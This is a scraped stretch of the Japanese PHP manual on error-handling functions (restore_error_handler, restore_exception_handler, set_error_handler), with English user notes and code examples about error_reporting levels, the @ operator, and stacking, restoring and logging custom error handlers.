To expand upon the note by chris at ocproducts dot com. If you prepend @ to error_reporting(), the function will always return 0.

<?php
error_reporting(E_ALL);
var_dump(
    error_reporting(), // value of E_ALL,
    @error_reporting() // value is 0
);
?>
chris at ocproducts dot com 12-Nov-2016 12:55
The error_reporting() function will return 0 if error suppression is currently active somewhere in the call tree (via the @ operator).
qeremy ! gmail 10-Apr-2015 11:44
If you want to see all errors in your local environment, you can set your project URL like "foo.com.local" locally and put that in bootstrap file.

<?php
if (substr($_SERVER['SERVER_NAME'], -6) == '.local') {
    ini_set('display_errors', 1);
    ini_set('error_reporting', E_ALL);
    // or error_reporting(E_ALL);
}
?>
Rash 03-Jan-2015 05:18
If you are using the PHP development server, run from the command line via `php -S servername:port`, every single error/notice/warning will be reported in the command line itself, with file name, and line number, and stack trace.

So if you want to keep a log of all the errors even after page reloads (for help in debugging, maybe), running the PHP development server can be useful.
forcemdt 01-Oct-2013 07:56
Php >5.4

Creating a Custom Error Handler

set_error_handler("customError",E_ALL);
function customError($errno, $errstr)
  {
  echo "<b>Error:</b> [$errno] $errstr<br>";
  echo "Ending Script";
  die();
  }
teynon1 at gmail dot com 09-Feb-2012 08:50
It might be a good idea to include E_COMPILE_ERROR in error_reporting.

If you have a customer error handler that does not output warnings, you may get a white screen of death if a "require" fails.

Example:
<?php
  error_reporting(E_ERROR | E_WARNING | E_PARSE);

  function myErrorHandler($errno, $errstr, $errfile, $errline) {
    // Do something other than output message.
    return true;
  }

  $old_error_handler = set_error_handler("myErrorHandler");

  require "this file does not exist";
?>

To prevent this, simply include E_COMPILE_ERROR in the error_reporting.

<?php
  error_reporting(E_ERROR | E_WARNING | E_PARSE | E_COMPILE_ERROR);
?>
rojaro at gmail dot com 06-Dec-2010 02:55
To enable error reporting for *ALL* error messages including every error level (including E_STRICT, E_NOTICE etc.), simply use:

<?php error_reporting(-1); ?>
keithm at aoeex dot com 14-Jun-2010 10:23
Some E_STRICT errors seem to be thrown during the page's compilation process.  This means they cannot be disabled by dynamically altering the error level at run time within that page.

The work-around for this was to rename the file and replace the original with a error_reporting() call and then a require() call.

Ex, rename index.php to index.inc.php, then re-create index.php as:

<?php
error_reporting(E_ALL & ~(E_STRICT|E_NOTICE));
require('index.inc.php');
?>

That allows you to alter the error reporting prior to the file being compiled.

I discovered this recently when I was given code from another development firm that triggered several E_STRICT errors and I wanted to disable E_STRICT on a per-page basis.
roberto at spadim dot com dot br 29-Jan-2010 01:00
see more information about php 5.3 deprecated errors

http://php.net/manual/en/migration53.deprecated.php
misplacedme at gmail dot com 09-Jun-2009 02:25
I always code with E_ALL set.
After a couple of pages of
<?php
$username = (isset($_POST['username']) && !empty($_POST['username']))....
?>

I made this function to make things a little bit quicker.  Unset values passed by reference won't trigger a notice.

<?php
function test_ref(&$var,$test_function='',$negate=false) {
    $stat = true;
    if(!isset($var)) $stat = false;
    if (!empty($test_function) && function_exists($test_function)){
        $stat = $test_function($var);
        $stat = ($negate) ? $stat^1 : $stat;
    }
    elseif($test_function == 'empty') {
        $stat = empty($var);
        $stat = ($negate) ? $stat^1 : $stat;
    }
    elseif (!function_exists($test_function)) {
        $stat = false;
        trigger_error("$test_function() is not a valid function");
    }
    $stat = ($stat) ? true : false;
    return $stat;
}
$a = '';
$b = '15';

test_ref($a,'empty',true);  //False
test_ref($a,'is_int');  //False
test_ref($a,'is_numeric');  //False
test_ref($b,'empty',true);  //true
test_ref($b,'is_int');  //False
test_ref($b,'is_numeric');  //false
test_ref($unset,'is_numeric');  //false
test_ref($b,'is_number');  //returns false, with an error.
?>
ecervetti at orupaca dot fr 25-Mar-2009 01:54
It could save two minutes to someone:
E_ALL & ~E_NOTICE  integer value is 6135
Daz Williams (The Northeast) 18-Feb-2009 06:03
Only display php errors to the developer...

<?php
if($_SERVER['REMOTE_ADDR']=="00.00.00.00")
{
  ini_set('display_errors','On');
}
else
{
  ini_set('display_errors','Off');
}
?>

Just replace 00.00.00.00 with your ip address.
info at hephoz dot de 14-Aug-2008 06:34
If you just see a blank page instead of an error reporting and you have no server access so you can't edit php configuration files like php.ini try this:

- create a new file in which you include the faulty script:

<?php
 error_reporting(E_ALL);
 ini_set("display_errors", 1);
 include("file_with_errors.php");
?>

- execute this file instead of the faulty script file

now errors of your faulty script should be reported.
this works fine with me. hope it solves your problem as well!
kc8yds at gmail dot com 10-Aug-2008 11:45
this is to show all errors for code that may be run on different versions

for php 5 it shows E_ALL^E_STRICT and for other versions just E_ALL

if anyone sees any problems with it please correct this post

<?php
ini_set('error_reporting', version_compare(PHP_VERSION,5,'>=') && version_compare(PHP_VERSION,6,'<') ?E_ALL^E_STRICT:E_ALL);
?>
Alex 19-Jan-2007 03:43
error_reporting() may give unexpected results if the @ error suppression directive is used.

<?php
 @include 'config.php';
 include 'foo.bar';        // non-existent file
?>

config.php
<?php
 error_reporting(0);
?>

will throw an error level E_WARNING in relation to the non-existent file (depending of course on your configuration settings).  If the suppressor is removed, this works as expected.

Alternatively using ini_set('display_errors', 0) in config.php will achieve the same result.  This is contrary to the note above which says that the two instructions are equivalent.
dave at davidhbrown dot us 06-Apr-2006 08:51
The example of E_ALL ^ E_NOTICE is a 'bit' confusing for those of us not wholly conversant with bitwise operators.

If you wish to remove notices from the current level, whatever that unknown level might be, use & ~ instead:

<?php
//....
$errorlevel=error_reporting();
error_reporting($errorlevel & ~E_NOTICE);
//...code that generates notices
error_reporting($errorlevel);
//...
?>

^ is the xor (bit flipping) operator and would actually turn notices *on* if they were previously off (in the error level on its left). It works in the example because E_ALL is guaranteed to have the bit for E_NOTICE set, so when ^ flips that bit, it is in fact turned off. & ~ (and not) will always turn off the bits specified by the right-hand parameter, whether or not they were on or off.
DarkGool 19-Aug-2005 10:30
In phpinfo() error reporting level display like a bit (such as 4095)

Maybe it is a simply method to understand what a level set on your host
if you are not have access to php.ini file

<?php
$bit = ini_get('error_reporting');
while ($bit > 0) {
    for($i = 0, $n = 0; $i <= $bit; $i = 1 * pow(2, $n), $n++) {
        $end = $i;
    }
    $res[] = $end;
    $bit = $bit - $end;
}
?>

In $res you will have all constants of error reporting
$res[]=int(16) // E_CORE_ERROR
$res[]=int(8)    // E_NOTICE
...
fredrik at demomusic dot nu 22-Jul-2005 04:24
Remember that the error_reporting value is an integer, not a string ie "E_ALL & ~E_NOTICE".

This is very useful to remember when setting error_reporting levels in httpd.conf:

Use the table above or:

<?php
ini_set("error_reporting", E_YOUR_ERROR_LEVEL);
echo ini_get("error_reporting");
?>

To get the appropriate integer for your error-level. Then use:

php_admin_value error_reporting YOUR_INT

in httpd.conf

I want to share this rather straightforward tip as it is rather annoying for new php users trying to understand why things are not working when the error-level is set to (int) "E_ALL" = 0...

Maybe the PHP-developers should make ie error_reporting("E_ALL"); output a E_NOTICE informative message about the mistake?
vdephily at bluemetrix dot com 22-Feb-2005 03:40
Note that E_NOTICE will warn you about uninitialized variables, but assigning a key/value pair counts as initialization, and will not trigger any error :
<?php
error_reporting(E_ALL);

$foo = $bar; //notice : $bar uninitialized

$bar['foo'] = 'hello'; // no notice, although $bar itself has never been initialized (with "$bar = array()" for example)

$bar = array('foobar' => 'barfoo');
$foo = $bar['foobar'] // ok

$foo = $bar['nope'] // notice : no such index
?>
Fernando Piancastelli 13-Dec-2004 01:23
The error_reporting() function won't be effective if your display_errors directive in php.ini is set to "Off", regardless of level reporting you set. I had to set

display_errors = On
error_reporting = ~E_ALL

to keep no error reporting as default, but be able to change error reporting level in my scripts.
I'm using PHP 4.3.9 and Apache 2.0.
j dot schriver at vindiou dot com 02-Oct-2000 11:37
error_reporting() has no effect if you have defined your own error handler with set_error_handler()

[Editor's Note: This is not quite accurate.

E_ERROR, E_PARSE, E_CORE_ERROR, E_CORE_WARNING, E_COMPILE_ERROR and E_COMPILE_WARNING error levels will be handled as per the error_reporting settings.

All other levels of errors will be passed to the custom error handler defined by set_error_handler().

Zeev Suraski suggests that a simple way to use the defined levels of error reporting with your custom error handlers is to add the following line to the top of your error handling function:

if (!($type & error_reporting())) return;

 -zak@php.net]


以前のエラーハンドラ関数を回復する

  • ≪ error_reporting
  • restore_exception_handler ≫
  • PHP Manual
  • エラー処理関数
  • 以前のエラーハンドラ関数を回復する

restore_error_handler

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

restore_error_handler — 以前のエラーハンドラ関数を回復する

説明

restore_error_handler ( ) : bool

set_error_handler() を使用してエラーハンドラ関数を 変更した後、元のエラーハンドラ(組込またはユーザー定義関数)に戻すために 使用されます。

返り値

この関数は常に true を返します。

例

例1 restore_error_handler() の例

unserialize() がエラーを発生した場合に 元のエラーハンドラに戻すことにする

<?php
function unserialize_handler($errno, $errstr)
{
    echo "Invalid serialized value.\n";
}

$serialized = 'foo';
set_error_handler('unserialize_handler');
$original = unserialize($serialized);
restore_error_handler();
?>

上の例の出力は以下となります。

Invalid serialized value.

参考

  • error_reporting() - 出力する PHP エラーの種類を設定する
  • set_error_handler() - ユーザー定義のエラーハンドラ関数を設定する
  • restore_exception_handler() - 以前の例外ハンドラ関数を回復する
  • trigger_error() - ユーザーレベルのエラー/警告/通知メッセージを生成する

User Contributed Notes

masterada at gmail dot com 27-Mar-2017 01:45
Calling restore_error_handler from within an error handler might result in unexpected behaviour:

<?php
error_reporting(0);

set_error_handler('handleError1');
trigger_error('1-stack:h1');

set_error_handler('handleError2');
trigger_error('2-stack:h1,h2');

trigger_error('6-stack:h1,h2');
trigger_error('7-stack:h1,h2');

function handleError1($code, $message, $file = '', $line = 0, $context = array())
{
    echo  __METHOD__ . ' ' . $message . PHP_EOL;
}

function handleError2($code, $message, $file = '', $line = 0, $context = array())
{
    trigger_error('3-DEFAULT'); // This will use the php's default error handler

    echo  __METHOD__ . ' ' . $message . PHP_EOL;

    set_error_handler('handleError3');
    trigger_error('4-stack:h1,h2,h3');

    restore_error_handler(); // This will restore the handleError1 instead of the default error handler
    trigger_error('5-DEFAULT');
}

function handleError3($code, $message, $file = '', $line = 0, $context = array())
{
    echo  __METHOD__ . ' ' . $message . PHP_EOL;
}

?>

The above code will output:

handleError1 1-stack:h1
handleError2 2-stack:h1,h2
handleError3 4-stack:h1,h2,h3
handleError1 5-DEFAULT
handleError1 6-stack:h1,h2
handleError1 7-stack:h1,h2

The following workaround can be used:

<?php

error_reporting(0);

set_error_handler('handleError1');
trigger_error('1-stack:h1');

set_error_handler('handleError2');
trigger_error('2-stack:h1,h2');

trigger_error('6-stack:h1,h2');
trigger_error('7-stack:h1,h2');

function handleError1($code, $message, $file = '', $line = 0, $context = array())
{
    echo __METHOD__ . ' ' . $message . PHP_EOL;
}

function handleError2($code, $message, $file = '', $line = 0, $context = [])
{
    restore_error_handler(); // This will restore the previous error handler
    set_error_handler('count', 0); // Set a dummy method for error handling, it will never be called because $error_type = 0
    try
    {
        trigger_error('3-DEFAULT');

        echo __METHOD__ . ' ' . $message . PHP_EOL;

        set_error_handler('handleError3');
        trigger_error('4-stack:h1,h2,h3');

        restore_error_handler();
        trigger_error('5-DEFAULT');
    }
    finally
    {
        restore_error_handler(); // Restore the previous error handler
        set_error_handler('handleError2'); // Set the current error handler again
    }
}

function handleError3($code, $message, $file = '', $line = 0, $context = [])
{
    echo __METHOD__ . ' ' . $message . PHP_EOL;
}
?>

which will output:

handleError1 1-stack:h1
handleError2 2-stack:h1,h2
handleError3 4-stack:h1,h2,h3
handleError2 6-stack:h1,h2
handleError3 4-stack:h1,h2,h3
handleError2 7-stack:h1,h2
handleError3 4-stack:h1,h2,h3
TiMESPLiNTER 27-Apr-2015 10:39
Works also for restoring nested error handlers:

<?php

error_reporting(E_ALL);

echo '<pre>';

set_error_handler(function($errno, $errstr, $errfile, $errline, array $errcontext) {
    echo 'ErrorHandler 1: ' , $errstr , PHP_EOL;
});

trigger_error('Error 1');

set_error_handler(function($errno, $errstr, $errfile, $errline, array $errcontext) {
    echo 'ErrorHandler 2: ' , $errstr , PHP_EOL;
});

trigger_error('Error 2');

restore_error_handler();

trigger_error('Error 3');

restore_error_handler();

trigger_error('Error 4');

?>
edgarinvillegas at hotmail dot com 28-Mar-2008 08:21
Isolde is kind of wrong. The error handlers are stacked with set_error_handler(), and popped with restore_error_handler(). Here i put an example:

<?php
    mysql_connect("inexistent"); //Generate an error. The actual error handler is set by default

    function foo1() {echo "<br>Error foo1<br>";}
    function foo2() {echo "<br>Error foo2<br>";}
    function foo3() {echo "<br>Error foo3<br>";}

    set_error_handler("foo1");    //current error handler: foo1
    set_error_handler("foo2");    //current error handler: foo2
    set_error_handler("foo3");    //current error handler: foo3

    mysql_connect("inexistent");
    restore_error_handler();        //now, current error handler: foo2
    mysql_connect("inexistent");
    restore_error_handler();        //now, current error handler: foo1
    mysql_connect("inexistent");
    restore_error_handler();        //now current error handler: default handler
    mysql_connect("inexistent");
    restore_error_handler();        //now current error handler: default handler (The stack can't pop more)
?>
lsole at maresme dot net 14-Mar-2004 11:57
As the docs say, restore_error_handler() revert to the *previous error handler*... even if it is the same. A bug made me set twice my custom error handler and later when I was calling restore_error_handler() to restore the built-in handler nothing seemed to happen... this puzzled me for a while!


以前の例外ハンドラ関数を回復する

  • ≪ restore_error_handler
  • set_error_handler ≫
  • PHP Manual
  • エラー処理関数
  • 以前の例外ハンドラ関数を回復する

restore_exception_handler

(PHP 5, PHP 7, PHP 8)

restore_exception_handler — 以前の例外ハンドラ関数を回復する

説明

restore_exception_handler ( ) : bool

set_exception_handler() を使用して例外ハンドラ関数を 変更した後、元の例外ハンドラ(組込またはユーザー定義関数)に戻すために 使用されます。

返り値

この関数は常に true を返します。

例

例1 restore_exception_handler() の例

<?php
    function exception_handler_1(Exception $e)
    {
        echo '[' . __FUNCTION__ . '] ' . $e->getMessage();
    }

    function exception_handler_2(Exception $e)
    {
        echo '[' . __FUNCTION__ . '] ' . $e->getMessage();
    }

    set_exception_handler('exception_handler_1');
    set_exception_handler('exception_handler_2');

    restore_exception_handler();

    throw new Exception('This triggers the first exception handler...');
?>

上の例の出力は以下となります。

[exception_handler_1] This triggers the first exception handler...

参考

  • set_exception_handler() - ユーザー定義の例外ハンドラ関数を設定する
  • set_error_handler() - ユーザー定義のエラーハンドラ関数を設定する
  • restore_error_handler() - 以前のエラーハンドラ関数を回復する
  • error_reporting() - 出力する PHP エラーの種類を設定する

User Contributed Notes

rl7 at shinyblue dot net 24-Feb-2014 10:57
Note that this does not work within an exception handler.

e.g.

<?php

function handler1(Exception $e) {
    echo "handler1\n";
    restore_exception_handler();
    throw $e;
}
function handler2(Exception $e) {
    echo "handler2\n";
}

set_exception_handler( 'handler2' );
set_exception_handler( 'handler1' );

throw new Exception( 'might expect to see handler1, handler2' );

/* Outputs:
handler1
PHP Fatal error:  Uncaught exception 'Exception' with message 'might expect to see handler1, handler2' in /tmp/demo.php:15
Stack trace:
#0 {main}
  thrown in /tmp/demo.php on line 15
*/

?>


ユーザー定義のエラーハンドラ関数を設定する

  • ≪ restore_exception_handler
  • set_exception_handler ≫
  • PHP Manual
  • エラー処理関数
  • ユーザー定義のエラーハンドラ関数を設定する

set_error_handler

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

set_error_handler — ユーザー定義のエラーハンドラ関数を設定する

説明

set_error_handler ( callable $error_handler , int $error_types = E_ALL | E_STRICT ) : mixed

スクリプトのエラー処理を行うユーザー関数 (error_handler)を設定します。

この関数は、実行時のエラー処理をユーザーが定義するために使用します。 例えば、致命的なエラーの際にデータやファイルを消去する必要があるような アプリケーションや、ある条件のもとに (trigger_error()を使用して)エラーを発生する必要がある アプリケーションがこの場合にあたります。

コールバック関数が false を返さない限り、error_types で指定した型のエラーでは PHP 標準のエラーハンドラが完全にバイパスされることに注意してください。 error_reporting() の設定にかかわらず、どのような場合でも ユーザーが設定したエラーハンドラがコールされます。ただし、この場合でも ハンドラで error_reporting() のカレントの値を読み、 それにあわせて適切に動作させることは可能です。

警告

PHP 8.0.0 より前のバージョンでは、 errno の値は @ エラー制御演算子 が式の前に付いている場合、 常に 0 でした。

ユーザーハンドラ関数は、必要に応じて die() を コールする責任があることにも注意しましょう。エラーハンドラ関数が リターンした場合、スクリプトの実行は、エラーを発生した命令の次の命令に 継続されます。

以下のエラータイプは、ユーザー定義の関数では扱えません。 E_ERROR, E_PARSE, E_CORE_ERROR, E_CORE_WARNING, E_COMPILE_ERROR, E_COMPILE_WARNING。これらは発生した場所に関係なく使えません。 また、set_error_handler() がコールされたファイルで発生した 大半の E_STRICT も、ユーザー定義の関数では扱えません。

(ファイルアップロードのように)スクリプトが実行される前にエラーが 発生した場合、カスタムエラーハンドラはコールされません。 これは、その時点では登録されていないためです。

パラメータ

error_handler

次のシグネチャに従うコールバック。 null を渡すと、ハンドラをデフォルトの状態に戻せます。 関数名のかわりにオブジェクトへのリファレンスとメソッド名を含む配列を指定することもできます。

handler ( int $errno , string $errstr , string $errfile = ? , int $errline = ? , array $errcontext = ? ) : bool
errno
最初のパラメータ errno は、発生させる エラーのレベルが整数で渡されます。
errstr
2 番目のパラメータ errstr は、 エラーメッセージが文字列で渡されます。
errfile
コールバックが第3引数 errfile を受け入れる場合、 エラーが発生したファイルの名前が文字列で渡されます。
errline
コールバックが第4引数 errline を受け入れる場合、 エラーが発生した行番号が整数で渡されます。
errcontext
コールバックが第4引数 errcontext を受け入れる場合、 エラーが発生した場所のアクティブシンボルテーブルが配列で渡されます。 つまり、エラーが発生したスコープ内でのすべての変数の内容を格納した 配列が errcontext だということです。 ユーザーエラーハンドラは、決してエラーコンテキストを書き換えては いけません。
警告

このパラメータは PHP 7.2.0 以降では 推奨されなくなり、 PHP 8.0.0 で 削除されました。 この引数をデフォルト値以外に設定すると、 ハンドラが呼び出された時に "too few arguments" エラーが発生します。

この関数が false を返した場合は、通常のエラーハンドラが処理を引き継ぎます。

error_types

設定パラメータ error_reporting で表示するエラーを制御するのと全く同様に、 error_handler の起動を制御する際に 使用可能です。 このマスクを指定しない場合、 error_handler は error_reporting の設定によらず 全てのエラーに関してコールされます。

返り値

前に定義されたエラーハンドラ(ある場合)を含む文字列を返します。 組み込みのエラーハンドラを使用している場合は null を返します。 また、無効なコールバックなどでエラーとなった場合も null を返します。 前に定義されたハンドラがクラスメソッドの場合、この関数は、 クラスとメソッド名からなる添字配列を返します。

変更履歴

バージョン | 説明
8.0.0 | @ エラー制御演算子 によって式のエラーメッセージが抑止されている場合でも、 errno の値は 0 ではなくなりました。
8.0.0 | errcontext 引数は削除されました。 よって、ユーザー定義のコールバックに渡されることはありません。
7.2.0 | errcontext が非推奨になりました。 このパラメーターを使うと、 E_DEPRECATED レベルの警告が発生するようになりました。

例

例1 set_error_handler() および trigger_error() によるエラー処理

以下の例では、エラーを発生させることによる内部例外の処理や それらをユーザー定義関数で処理する方法を説明します。

<?php
// エラーハンドラ関数
function myErrorHandler($errno, $errstr, $errfile, $errline)
{
    if (!(error_reporting() & $errno)) {
        // error_reporting 設定に含まれていないエラーコードのため、
        // 標準の PHP エラーハンドラに渡されます。
        return;
    }

    // $errstr はエスケープする必要があるかもしれません。
    $errstr = htmlspecialchars($errstr);

    switch ($errno) {
    case E_USER_ERROR:
        echo "<b>My ERROR</b> [$errno] $errstr<br />\n";
        echo "  Fatal error on line $errline in file $errfile";
        echo ", PHP " . PHP_VERSION . " (" . PHP_OS . ")<br />\n";
        echo "Aborting...<br />\n";
        exit(1);

    case E_USER_WARNING:
        echo "<b>My WARNING</b> [$errno] $errstr<br />\n";
        break;

    case E_USER_NOTICE:
        echo "<b>My NOTICE</b> [$errno] $errstr<br />\n";
        break;

    default:
        echo "Unknown error type: [$errno] $errstr<br />\n";
        break;
    }

    /* PHP の内部エラーハンドラを実行しません */
    return true;
}

// エラー処理のテスト用関数
function scale_by_log($vect, $scale)
{
    if (!is_numeric($scale) || $scale <= 0) {
        trigger_error("log(x) for x <= 0 is undefined, you used: scale = $scale", E_USER_ERROR);
    }

    if (!is_array($vect)) {
        trigger_error("Incorrect input vector, array of values expected", E_USER_WARNING);
        return null;
    }

    $temp = array();
    foreach($vect as $pos => $value) {
        if (!is_numeric($value)) {
            trigger_error("Value at position $pos is not a number, using 0 (zero)", E_USER_NOTICE);
            $value = 0;
        }
        $temp[$pos] = log($scale) * $value;
    }

    return $temp;
}

// 定義したエラーハンドラを設定する
$old_error_handler = set_error_handler("myErrorHandler");

// エラーを発生します。まず、数値でない項目が混ざった配列を定義します。
echo "vector a\n";
$a = array(2, 3, "foo", 5.5, 43.3, 21.11);
print_r($a);

// 二番目の配列を生成します。
echo "----\nvector b - a notice (b = log(PI) * a)\n";
/* Value at position $pos is not a number, using 0 (zero) */
$b = scale_by_log($a, M_PI);
print_r($b);

// 配列の代わりに文字列を渡しており、問題を発生します。
echo "----\nvector c - a warning\n";
/* Incorrect input vector, array of values expected */
$c = scale_by_log("not array", 2.3);
var_dump($c); // NULL

// ゼロまたは負数の対数が定義されないという致命的なエラーを発生します。
echo "----\nvector d - fatal error\n";
/* log(x) for x <= 0 is undefined, you used: scale = $scale" */
$d = scale_by_log($a, -2.5);
var_dump($d); // ここには到達しません
?>

上の例の出力は、 たとえば以下のようになります。

vector a
Array
(
    [0] => 2
    [1] => 3
    [2] => foo
    [3] => 5.5
    [4] => 43.3
    [5] => 21.11
)
----
vector b - a notice (b = log(PI) * a)
<b>My NOTICE</b> [1024] Value at position 2 is not a number, using 0 (zero)<br />
Array
(
    [0] => 2.2894597716988
    [1] => 3.4341896575482
    [2] => 0
    [3] => 6.2960143721717
    [4] => 49.566804057279
    [5] => 24.165247890281
)
----
vector c - a warning
<b>My WARNING</b> [512] Incorrect input vector, array of values expected<br />
NULL
----
vector d - fatal error
<b>My ERROR</b> [256] log(x) for x <= 0 is undefined, you used: scale = -2.5<br />
  Fatal error on line 35 in file trigger_error.php, PHP 5.2.1 (FreeBSD)<br />
Aborting...<br />

参考

  • ErrorException
  • error_reporting() - 出力する PHP エラーの種類を設定する
  • restore_error_handler() - 以前のエラーハンドラ関数を回復する
  • trigger_error() - ユーザーレベルのエラー/警告/通知メッセージを生成する
  • エラーレベル定数

User Contributed Notes

David Spector 11-Oct-2020 01:02
The PHP manual is not very clear about how to handle @ operator error messages.

Here is working code:

    // Do nothing if @ operator
    $errLevel=error_reporting(E_ALL);
    if ($errLevel===0)
        return true; // ignore @ prefixed expression errors
a dot ross at amdev dot eu 20-Dec-2018 01:54
I'm missing a way to chain error handlers. It's not something offered by set_error_handler. You have to jump through some hoops to get it to work, but it *is* quite possible, by making use of the return value of the function. Here's an example:

<?
$previous = set_error_handler(function ($errno, $errstr, $errfile, $errline, $errcontext) use (&$previous) {
    /* Your custom error handling code here. */

    // If another error handler was defined, call it.
    if ($previous) {
        return $previous($errno, $errstr, $errfile, $errline, $errcontext);
    } else {
        // Use the standard PHP error handler.
        return false;
    }
});
?>
alvaro at demogracia dot com 12-Jun-2018 12:44
Don't forget that you can only have one active custom error handler:

<?php
set_error_handler(function($errno, $errstr){
    echo "Custom warning handler: $errstr", PHP_EOL;
}, E_WARNING);
set_error_handler(function($errno, $errstr){ // Overrides previous E_WARNING handler
    echo "Custom notice handler: $errstr", PHP_EOL;
}, E_NOTICE);

$foo++; // Custom notice handler: Undefined variable: foo
1/0; // Warning: Division by zero
?>
steve962 at gmail dot com 16-Mar-2018 04:06
Be careful when using the return value to this function.   Because it returns the old handler, you may be tempted to do something like:

<?php
function do_something()
    {
    $old = set_error_handler("my_error_handler");
    // Do something you want handled by my_error_handler
    set_error_handler($old);
    }
?>

This will work, but it will bite you because each time you do this, it will cause a memory leak as the old error handler is put on a stack for the restore_error_handler() function to use.

So always restore the old error handler using that function instead:

<?php
function do_something()
    {
    set_error_handler("my_error_handler");
    // Do something you want handled by my_error_handler
    restore_error_handler();
    }
?>
Klauss 12-Sep-2017 04:36
Hi everyone. I don't know if it is an old behavior of previous versions, but currently you can set exception and error handlers as private or protected methos, if, only if, you call `set_exception_handler()` or `set_error_handler()` within a context that can access the method.

Example:
    <?PHP
        $Handler = new class ()
        {
            public function __construct ()
            {
                set_error_handler([&$this, 'HandleError']);
                set_exception_handler([&$this, 'HandleException']);
            }
            protected function HandleError ( $Code, $Message, $File = null, $Line = 0, $Context = [] )
            {
                // Handle error here.
            }
            private function HandleException ( $Exception )
            {
                // Handle exception here.
            }
        }
    ?>

NOTE: these methods must match the callbacks parameters signatures.
chris at ocproducts dot com 04-Aug-2016 10:53
Note that error handlers don't run recursively. If you have an error while an error handler is running (in the error handler itself or code called from it) then you won't get the error handler called again.

This has subtle ramifications for $php_errormsg. If you are relying on your error handler to suppress certain kinds of error message from going into $php_errormsg (via return true; because error_reporting doesn't affect $php_errormsg setting) then this will not work for any code called within that error handler.
aditycse at gmail dot com 12-Jan-2016 07:36
<?php
/**
 * Used for logging all php notices,warings and etc in a file when error reporting
 * is set and display_errors is off
 * @uses used in prod env for logging all type of error of php code in a file for further debugging
 * and code performance
 * @author Aditya Mehrotra<aditycse@gmail.com>
 */
error_reporting(E_ALL);
ini_set("display_errors", "off");
define('ERROR_LOG_FILE', '/var/www/error.log');

/**
 * Custom error handler
 * @param integer $code
 * @param string $description
 * @param string $file
 * @param interger $line
 * @param mixed $context
 * @return boolean
 */
function handleError($code, $description, $file = null, $line = null, $context = null) {
    $displayErrors = ini_get("display_errors");
    $displayErrors = strtolower($displayErrors);
    if (error_reporting() === 0 || $displayErrors === "on") {
        return false;
    }
    list($error, $log) = mapErrorCode($code);
    $data = array(
        'level' => $log,
        'code' => $code,
        'error' => $error,
        'description' => $description,
        'file' => $file,
        'line' => $line,
        'context' => $context,
        'path' => $file,
        'message' => $error . ' (' . $code . '): ' . $description . ' in [' . $file . ', line ' . $line . ']'
    );
    return fileLog($data);
}

/**
 * This method is used to write data in file
 * @param mixed $logData
 * @param string $fileName
 * @return boolean
 */
function fileLog($logData, $fileName = ERROR_LOG_FILE) {
    $fh = fopen($fileName, 'a+');
    if (is_array($logData)) {
        $logData = print_r($logData, 1);
    }
    $status = fwrite($fh, $logData);
    fclose($fh);
    return ($status) ? true : false;
}

/**
 * Map an error code into an Error word, and log location.
 *
 * @param int $code Error code to map
 * @return array Array of error word, and log location.
 */
function mapErrorCode($code) {
    $error = $log = null;
    switch ($code) {
        case E_PARSE:
        case E_ERROR:
        case E_CORE_ERROR:
        case E_COMPILE_ERROR:
        case E_USER_ERROR:
            $error = 'Fatal Error';
            $log = LOG_ERR;
            break;
        case E_WARNING:
        case E_USER_WARNING:
        case E_COMPILE_WARNING:
        case E_RECOVERABLE_ERROR:
            $error = 'Warning';
            $log = LOG_WARNING;
            break;
        case E_NOTICE:
        case E_USER_NOTICE:
            $error = 'Notice';
            $log = LOG_NOTICE;
            break;
        case E_STRICT:
            $error = 'Strict';
            $log = LOG_NOTICE;
            break;
        case E_DEPRECATED:
        case E_USER_DEPRECATED:
            $error = 'Deprecated';
            $log = LOG_NOTICE;
            break;
        default :
            break;
    }
    return array($error, $log);
}

//calling custom error handler
set_error_handler("handleError");

print_r($arra); //undefined variable
print_r($dssdfdfgg); //undefined variable
include_once 'file.php'; //No such file or directory
?>
dannykopping at gmail dot com 16-Feb-2014 09:52
Keep in mind that, when attempting to set a statically-defined error handler on a namespaced class in PHP >= 5.3, you need to use the class namespace:

<?php
set_error_handler('\\My\\Namespace\\Bob::errorHandler');
?>
jtrick77 at gmail dot com 30-Oct-2013 09:13
For anyone interested in the actual translated error codes and their meanings:

1    E_ERROR (integer)     Fatal run-time errors. These indicate errors that can not be recovered from, such as a memory allocation problem. Execution of the script is halted.
2    E_WARNING (integer)     Run-time warnings (non-fatal errors). Execution of the script is not halted.
4    E_PARSE (integer)     Compile-time parse errors. Parse errors should only be generated by the parser.
8    E_NOTICE (integer)     Run-time notices. Indicate that the script encountered something that could indicate an error, but could also happen in the normal course of running a script.
16    E_CORE_ERROR (integer)     Fatal errors that occur during PHP's initial startup. This is like an E_ERROR, except it is generated by the core of PHP.
32    E_CORE_WARNING (integer)     Warnings (non-fatal errors) that occur during PHP's initial startup. This is like an E_WARNING, except it is generated by the core of PHP.
64    E_COMPILE_ERROR (integer)     Fatal compile-time errors. This is like an E_ERROR, except it is generated by the Zend Scripting Engine.
128    E_COMPILE_WARNING (integer)     Compile-time warnings (non-fatal errors). This is like an E_WARNING, except it is generated by the Zend Scripting Engine.
256    E_USER_ERROR (integer)     User-generated error message. This is like an E_ERROR, except it is generated in PHP code by using the PHP function trigger_error().
512    E_USER_WARNING (integer)     User-generated warning message. This is like an E_WARNING, except it is generated in PHP code by using the PHP function trigger_error().
1024    E_USER_NOTICE (integer)     User-generated notice message. This is like an E_NOTICE, except it is generated in PHP code by using the PHP function trigger_error().
2048    E_STRICT (integer)     Enable to have PHP suggest changes to your code which will ensure the best interoperability and forward compatibility of your code.    Since PHP 5 but not included in E_ALL until PHP 5.4.0
4096    E_RECOVERABLE_ERROR (integer)     Catchable fatal error. It indicates that a probably dangerous error occurred, but did not leave the Engine in an unstable state. If the error is not caught by a user defined handle (see also set_error_handler()), the application aborts as it was an E_ERROR.    Since PHP 5.2.0
8192    E_DEPRECATED (integer)     Run-time notices. Enable this to receive warnings about code that will not work in future versions.    Since PHP 5.3.0
16384    E_USER_DEPRECATED (integer)     User-generated warning message. This is like an E_DEPRECATED, except it is generated in PHP code by using the PHP function trigger_error().    Since PHP 5.3.0
32767    E_ALL (integer)     All errors and warnings, as supported, except of level E_STRICT prior to PHP 5.4.0.     32767 in PHP 5.4.x, 30719 in PHP 5.3.x, 6143 in PHP 5.2.x, 2047 previously

(Copied from http://php.net/manual/en/errorfunc.constants.php)
nicolas dot grekas+php at gmail dot com 23-Oct-2013 09:34
